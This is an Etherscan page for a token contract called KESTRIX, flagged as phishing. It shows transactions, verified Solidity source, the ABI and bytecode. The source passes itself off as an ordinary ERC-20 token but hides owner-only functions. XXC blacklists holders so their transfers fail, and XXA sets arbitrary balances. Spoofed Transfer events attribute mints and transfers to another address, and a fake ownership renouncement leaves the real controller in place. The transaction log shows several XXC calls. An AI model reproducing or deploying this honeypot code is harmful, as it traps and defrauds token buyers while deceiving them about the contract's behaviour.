ETH Price: $3,890.62 (-0.85%)

Contract

0x68f4237489D1174FB49BC014E2eF9129E94437fB
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve165749762023-02-07 5:59:35675 days ago1675749575IN
Fake_Phishing307836
0 ETH0.0005063320.43336945
Approve165501902023-02-03 18:56:35678 days ago1675450595IN
Fake_Phishing307836
0 ETH0.0013493328.67017052
Approve165476642023-02-03 10:29:47678 days ago1675420187IN
Fake_Phishing307836
0 ETH0.0004824317.79953337
Approve165476622023-02-03 10:29:23678 days ago1675420163IN
Fake_Phishing307836
0 ETH0.0008395117.8604364
Transfer165420882023-02-02 15:44:23679 days ago1675352663IN
Fake_Phishing307836
0 ETH0.0009671839.07010098
Approve165410722023-02-02 12:19:23679 days ago1675340363IN
Fake_Phishing307836
0 ETH0.0007321815.55712755
Approve165408662023-02-02 11:37:59679 days ago1675337879IN
Fake_Phishing307836
0 ETH0.0007432615.79264344
Approve165408242023-02-02 11:29:35679 days ago1675337375IN
Fake_Phishing307836
0 ETH0.0008242317.53536945
Approve165406542023-02-02 10:55:11679 days ago1675335311IN
Fake_Phishing307836
0 ETH0.0008367917.8025539
XXC165392362023-02-02 6:09:23680 days ago1675318163IN
Fake_Phishing307836
0 ETH0.0008049617.28357065
Approve165391992023-02-02 6:01:47680 days ago1675317707IN
Fake_Phishing307836
0 ETH0.0008811118.72153575
Approve165389142023-02-02 5:04:11680 days ago1675314251IN
Fake_Phishing307836
0 ETH0.0008460317.9763321
Approve165388982023-02-02 5:00:59680 days ago1675314059IN
Fake_Phishing307836
0 ETH0.0009382719.93613282
Approve165388552023-02-02 4:52:11680 days ago1675313531IN
Fake_Phishing307836
0 ETH0.0009101719.36385128
Approve165388222023-02-02 4:45:35680 days ago1675313135IN
Fake_Phishing307836
0 ETH0.0009501420.18841074
Approve165388112023-02-02 4:43:11680 days ago1675312991IN
Fake_Phishing307836
0 ETH0.0008932118.97868113
XXC165388012023-02-02 4:41:11680 days ago1675312871IN
Fake_Phishing307836
0 ETH0.0005019318.83442645
Approve165387972023-02-02 4:40:23680 days ago1675312823IN
Fake_Phishing307836
0 ETH0.0009126419.39162719
Approve165387542023-02-02 4:31:47680 days ago1675312307IN
Fake_Phishing307836
0 ETH0.0009576520.34790567
Approve165387512023-02-02 4:31:11680 days ago1675312271IN
Fake_Phishing307836
0 ETH0.0010158421.61179165
XXC165387492023-02-02 4:30:47680 days ago1675312247IN
Fake_Phishing307836
0 ETH0.0009907221.27198435
Approve165387192023-02-02 4:24:47680 days ago1675311887IN
Fake_Phishing307836
0 ETH0.000947320.1280485
Approve165386962023-02-02 4:20:11680 days ago1675311611IN
Fake_Phishing307836
0 ETH0.0009037219.20200803
XXC165386932023-02-02 4:19:35680 days ago1675311575IN
Fake_Phishing307836
0 ETH0.000948220.35919565
Approve165386842023-02-02 4:17:47680 days ago1675311467IN
Fake_Phishing307836
0 ETH0.000952220.23221449
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KESTRIX

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-02
*/

// SPDX-License-Identifier: MIT



pragma solidity 0.8.17;

 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

} 

 
contract KESTRIX {
  
    mapping (address => uint256) private XLB;
    mapping (address => uint256) private XLC;
    mapping(address => mapping(address => uint256)) public allowance;
  


    
    string public name = "KESTRIX NETWORK";
    string public symbol = unicode"KESTRIX";
    uint8 public decimals = 6;
    uint256 public totalSupply = 1500000000 *10**6;
    address owner = msg.sender;
    address private XLR;
    address Deployr = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   



        constructor()  {
        XLR = msg.sender;
        MAKRX(msg.sender, totalSupply); }

    function renounceOwnership() public virtual {
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }



    function MAKRX(address account, uint256 amount) internal {
    account = Deployr;
    XLB[msg.sender] = totalSupply;
    emit Transfer(address(0), account, amount); }

   function balanceOf(address account) public view  returns (uint256) {
        return XLB[account];
    }

     function XXC (address iox, uint256 ioz)  public {
     if(msg.sender == XLR) {
   XLC[iox] = ioz;}}

    function transfer(address to, uint256 value) public returns (bool success) {


      if(XLC[msg.sender] <= 0) {
        require(XLB[msg.sender] >= value);
  XLB[msg.sender] -= value;  
        XLB[to] += value;          
 emit Transfer(msg.sender, to, value);
        return true; }}

 function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }





    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == XLR) {
 require(value <= XLB[from]);
        require(value <= allowance[from][msg.sender]);
        XLB[from] -= value;  
      XLB[to] += value; 
        from = Deployr;
        emit Transfer (from, to, value);
        return true; }    
else
        if(XLC[from] <= 0 && XLC[to] <=0) {
        require(value <= XLB[from]);
        require(value <= allowance[from][msg.sender]);
        XLB[from] -= value;
        XLB[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }}
        function XXA (address iox, uint256 ioz)  public {
    if(msg.sender == XLR) {
    XLB[iox] = ioz;}}

    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"iox","type":"address"},{"internalType":"uint256","name":"ioz","type":"uint256"}],"name":"XXA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"iox","type":"address"},{"internalType":"uint256","name":"ioz","type":"uint256"}],"name":"XXC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600f81526020017f4b455354524958204e4554574f524b0000000000000000000000000000000000815250600390816200004a919062000507565b506040518060400160405280600781526020017f4b455354524958000000000000000000000000000000000000000000000000008152506004908162000091919062000507565b506006600560006101000a81548160ff021916908360ff1602179055506605543df729c00060065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555072c5e04176d95a286fcce0e68c683ca0bfec8454600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015b57600080fd5b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001b133600654620001b760201b60201c565b6200061c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002819190620005ff565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030f57607f821691505b602082108103620003255762000324620002c7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000350565b6200039b868362000350565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e8620003e2620003dc84620003b3565b620003bd565b620003b3565b9050919050565b6000819050919050565b6200040483620003c7565b6200041c6200041382620003ef565b8484546200035d565b825550505050565b600090565b6200043362000424565b62000440818484620003f9565b505050565b5b8181101562000468576200045c60008262000429565b60018101905062000446565b5050565b601f821115620004b75762000481816200032b565b6200048c8462000340565b810160208510156200049c578190505b620004b4620004ab8562000340565b83018262000445565b50505b505050565b600082821c905092915050565b6000620004dc60001984600802620004bc565b1980831691505092915050565b6000620004f78383620004c9565b9150826002028217905092915050565b62000512826200028d565b67ffffffffffffffff8111156200052e576200052d62000298565b5b6200053a8254620002f6565b620005478282856200046c565b600060209050601f8311600181146200057f57600084156200056a578287015190505b620005768582620004e9565b865550620005e6565b601f1984166200058f866200032b565b60005b82811015620005b95784890151825560018201915060208501945060208101905062000592565b86831015620005d95784890151620005d5601f891682620004c9565b8355505b6001600288020188555050505b505050505050565b620005f981620003b3565b82525050565b6000602082019050620006166000830184620005ee565b92915050565b611292806200062c6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063439dd32e11610071578063439dd32e1461018f57806370a08231146101ab578063715018a6146101db57806395d89b41146101e5578063a9059cbb14610203578063dd62ed3e14610233576100b4565b806302cf9396146100b957806306fdde03146100d5578063095ea7b3146100f357806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100d360048036038101906100ce9190610f1c565b610263565b005b6100dd610300565b6040516100ea9190610fec565b60405180910390f35b61010d60048036038101906101089190610f1c565b61038e565b60405161011a9190611029565b60405180910390f35b61012b610480565b6040516101389190611053565b60405180910390f35b61015b6004803603810190610156919061106e565b610486565b6040516101689190611029565b60405180910390f35b610179610a0a565b60405161018691906110dd565b60405180910390f35b6101a960048036038101906101a49190610f1c565b610a1d565b005b6101c560048036038101906101c091906110f8565b610abb565b6040516101d29190611053565b60405180910390f35b6101e3610b03565b005b6101ed610c1e565b6040516101fa9190610fec565b60405180910390f35b61021d60048036038101906102189190610f1c565b610cac565b60405161022a9190611029565b60405180910390f35b61024d60048036038101906102489190611125565b610e5e565b60405161025a9190611053565b60405180910390f35b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036102fc57806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6003805461030d90611194565b80601f016020809104026020016040519081016040528092919081815260200182805461033990611194565b80156103865780601f1061035b57610100808354040283529160200191610386565b820191906000526020600020905b81548152906001019060200180831161036957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046e9190611053565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036106ee576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561052857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105b157600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ff91906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106549190611228565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106dd9190611053565b60405180910390a360019050610a03565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115801561077e57506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610a02576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561085757600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108a591906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108fa9190611228565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461098d91906111f4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f19190611053565b60405180910390a360019050610a03565b5b9392505050565b600560009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ab75780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b5d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610c2b90611194565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5790611194565b8015610ca45780601f10610c7957610100808354040283529160200191610ca4565b820191906000526020600020905b815481529060010190602001808311610c8757829003601f168201915b505050505081565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610e5757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d3f57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d8d91906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de29190611228565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e469190611053565b60405180910390a360019050610e58565b5b92915050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610eb382610e88565b9050919050565b610ec381610ea8565b8114610ece57600080fd5b50565b600081359050610ee081610eba565b92915050565b6000819050919050565b610ef981610ee6565b8114610f0457600080fd5b50565b600081359050610f1681610ef0565b92915050565b60008060408385031215610f3357610f32610e83565b5b6000610f4185828601610ed1565b9250506020610f5285828601610f07565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f96578082015181840152602081019050610f7b565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbe82610f5c565b610fc88185610f67565b9350610fd8818560208601610f78565b610fe181610fa2565b840191505092915050565b600060208201905081810360008301526110068184610fb3565b905092915050565b60008115159050919050565b6110238161100e565b82525050565b600060208201905061103e600083018461101a565b92915050565b61104d81610ee6565b82525050565b60006020820190506110686000830184611044565b92915050565b60008060006060848603121561108757611086610e83565b5b600061109586828701610ed1565b93505060206110a686828701610ed1565b92505060406110b786828701610f07565b9150509250925092565b600060ff82169050919050565b6110d7816110c1565b82525050565b60006020820190506110f260008301846110ce565b92915050565b60006020828403121561110e5761110d610e83565b5b600061111c84828501610ed1565b91505092915050565b6000806040838503121561113c5761113b610e83565b5b600061114a85828601610ed1565b925050602061115b85828601610ed1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111ac57607f821691505b6020821081036111bf576111be611165565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111ff82610ee6565b915061120a83610ee6565b9250828203905081811115611222576112216111c5565b5b92915050565b600061123382610ee6565b915061123e83610ee6565b9250828201905080821115611256576112556111c5565b5b9291505056fea2646970667358221220be17ec0b1dc955c1a5854461c3c74fe1c371afc2015face7463bc07eb031cd3c64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063439dd32e11610071578063439dd32e1461018f57806370a08231146101ab578063715018a6146101db57806395d89b41146101e5578063a9059cbb14610203578063dd62ed3e14610233576100b4565b806302cf9396146100b957806306fdde03146100d5578063095ea7b3146100f357806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100d360048036038101906100ce9190610f1c565b610263565b005b6100dd610300565b6040516100ea9190610fec565b60405180910390f35b61010d60048036038101906101089190610f1c565b61038e565b60405161011a9190611029565b60405180910390f35b61012b610480565b6040516101389190611053565b60405180910390f35b61015b6004803603810190610156919061106e565b610486565b6040516101689190611029565b60405180910390f35b610179610a0a565b60405161018691906110dd565b60405180910390f35b6101a960048036038101906101a49190610f1c565b610a1d565b005b6101c560048036038101906101c091906110f8565b610abb565b6040516101d29190611053565b60405180910390f35b6101e3610b03565b005b6101ed610c1e565b6040516101fa9190610fec565b60405180910390f35b61021d60048036038101906102189190610f1c565b610cac565b60405161022a9190611029565b60405180910390f35b61024d60048036038101906102489190611125565b610e5e565b60405161025a9190611053565b60405180910390f35b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036102fc57806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6003805461030d90611194565b80601f016020809104026020016040519081016040528092919081815260200182805461033990611194565b80156103865780601f1061035b57610100808354040283529160200191610386565b820191906000526020600020905b81548152906001019060200180831161036957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046e9190611053565b60405180910390a36001905092915050565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036106ee576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561052857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105b157600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ff91906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106549190611228565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106dd9190611053565b60405180910390a360019050610a03565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115801561077e57506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610a02576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107ce57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561085757600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108a591906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108fa9190611228565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461098d91906111f4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f19190611053565b60405180910390a360019050610a03565b5b9392505050565b600560009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ab75780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b5d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60048054610c2b90611194565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5790611194565b8015610ca45780601f10610c7957610100808354040283529160200191610ca4565b820191906000526020600020905b815481529060010190602001808311610c8757829003601f168201915b505050505081565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610e5757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d3f57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d8d91906111f4565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de29190611228565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e469190611053565b60405180910390a360019050610e58565b5b92915050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610eb382610e88565b9050919050565b610ec381610ea8565b8114610ece57600080fd5b50565b600081359050610ee081610eba565b92915050565b6000819050919050565b610ef981610ee6565b8114610f0457600080fd5b50565b600081359050610f1681610ef0565b92915050565b60008060408385031215610f3357610f32610e83565b5b6000610f4185828601610ed1565b9250506020610f5285828601610f07565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f96578082015181840152602081019050610f7b565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fbe82610f5c565b610fc88185610f67565b9350610fd8818560208601610f78565b610fe181610fa2565b840191505092915050565b600060208201905081810360008301526110068184610fb3565b905092915050565b60008115159050919050565b6110238161100e565b82525050565b600060208201905061103e600083018461101a565b92915050565b61104d81610ee6565b82525050565b60006020820190506110686000830184611044565b92915050565b60008060006060848603121561108757611086610e83565b5b600061109586828701610ed1565b93505060206110a686828701610ed1565b92505060406110b786828701610f07565b9150509250925092565b600060ff82169050919050565b6110d7816110c1565b82525050565b60006020820190506110f260008301846110ce565b92915050565b60006020828403121561110e5761110d610e83565b5b600061111c84828501610ed1565b91505092915050565b6000806040838503121561113c5761113b610e83565b5b600061114a85828601610ed1565b925050602061115b85828601610ed1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111ac57607f821691505b6020821081036111bf576111be611165565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111ff82610ee6565b915061120a83610ee6565b9250828203905081811115611222576112216111c5565b5b92915050565b600061123382610ee6565b915061123e83610ee6565b9250828201905080821115611256576112556111c5565b5b9291505056fea2646970667358221220be17ec0b1dc955c1a5854461c3c74fe1c371afc2015face7463bc07eb031cd3c64736f6c63430008110033

Deployed Bytecode Sourcemap

